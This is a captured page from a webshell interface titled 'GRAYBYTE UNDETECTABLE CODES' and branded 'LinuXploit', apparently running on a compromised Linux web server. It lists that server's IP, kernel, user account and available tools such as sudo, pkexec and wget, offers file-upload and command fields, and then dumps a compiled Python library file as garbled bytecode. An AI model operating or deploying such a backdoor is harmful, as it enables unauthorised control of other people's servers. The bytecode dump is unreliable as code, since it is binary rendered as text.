- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.142.250.109
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/bcc/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/bcc/__pycache__/utils.cpython-36.opt-1.pyc
3

:�)g�@s�ddlZddlZddlZddlZddlZddlmZdd�Zdd�Z	dd	�Z
d
d�Zej�Z
ejdfdd
�ZGdd�de�Zddd�ZdZdd�ZGdd�de�ZdS)�N�)�libc
Cs�g}t|d��|}|j�}xl|jd�D]^}|jd�}|dkrJ|jt|��q$t|d|��}t||dd��}|jt||d��q$WWdQRX|S)N�r�,�-r���)�open�read�split�find�append�int�extend�range)�pathZcpus�fZcpus_range_strZ	cpu_rangeZrangeop�start�end�r�/usr/lib/python3.6/utils.py�_read_cpu_ranges
"rcCstd�S)Nz/sys/devices/system/cpu/online)rrrrr�get_online_cpus$srcCstd�S)Nz /sys/devices/system/cpu/possible)rrrrr�get_possible_cpus'srcCs.tj|�}tj|tj�jj�}||kr*|SdS)N)rZbcc_procutils_language�ct�castZc_char_p�value�decode)Z
candidates�pid�resZlanguagerrr�detect_language*s
rcCs8t|d�r|jn|}|j|�|r,|jd�|j�dS)zA
    printb(s)

    print a bytes object to stdout and flush
    �buffer�
N)�hasattrr �write�flush)�s�file�nlZbufrrr�printb1s


r(c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�	ArgStringz�
    ArgString(arg)

    encapsulate a system argument that can be easily coerced to a bytes()
    object, which is better for comparing to kernel or probe data (which should
    never be en/decode()'ed).
    cCs&tjddkr||_n|jt�|_dS)Nr�)�sys�version_infor%r�FILESYSTEMENCODING)�self�argrrr�__init__FszArgString.__init__cCs|jjt�S)N)r%�encoder-)r.rrr�	__bytes__LszArgString.__bytes__cCs|jS)N)r%)r.rrr�__str__OszArgString.__str__N)�__name__�
__module__�__qualname__�__doc__r0r2r3rrrrr)>sr)cCsDt|d�r|ntj}tjtjd�|d�|jtj|||||��dS)Nr#�)rr&)	r"r+�stderr�	traceback�print_stack�	_getframer#�warnings�
formatwarning)�message�category�filename�linenor&�line�logrrr�warn_with_tracebackRsrEFcCs@|dkr|Strn*t|�tk	r<tjd|td�t|�j�S|S)Nznot a bytes object: %rr8)�
_strict_bytes�type�bytesr=�warn�DeprecationWarningr)r2)r/rrr�_assert_is_bytes[srKc@s$eZdZedd��Zedd��ZdS)�
StrcmpRewritecCs"d|}|d|||f7}||fS)Nzstreq_%da~
static inline bool %s(char const *ignored, uintptr_t str) {
        char needle[] = %s;
        char haystack[sizeof(needle)];
        %s(&haystack, sizeof(haystack), (void *)str);
        for (int i = 0; i < sizeof(needle) - 1; ++i) {
                if (needle[i] != haystack[i]) {
                        return false;
                }
        }
        return true;
}
        r)�string�probe_read_func�streq_functions�probeid�fnamerrr�_generate_streq_functionfsz&StrcmpRewrite._generate_streq_functionc
Cs�|r
d}nd}tj||�}x^|D]V}|jd�}	d}
|sH|jd�j�|krLd}
tj|	|
||�\}}|d7}|jd|d�}q W|||d�}|S)	NzSTRCMP\("([^"]+)\",(.+?)\)zSTRCMP\(("[^"]+\"),(.+?)\)rZbpf_probe_readr8Zbpf_probe_read_userZSTRCMP)�exprrOrP)�re�finditer�group�striprLrR�replace)
rSZbin_cmpZis_userZprobe_user_listrOrPZ	STRCMP_REZmatches�matchrMrNrQZrdictrrr�rewrite_exprys&

zStrcmpRewrite.rewrite_exprN)r4r5r6�staticmethodrRrZrrrrrLesrL)NN)Zctypesrr+r:r=rTZlibbccrrrrr�getfilesystemencodingr-�stdoutr(�objectr)rErFrKrLrrrr�<module>s 



Youez - 2016 - github.com/yon3zu
LinuXploit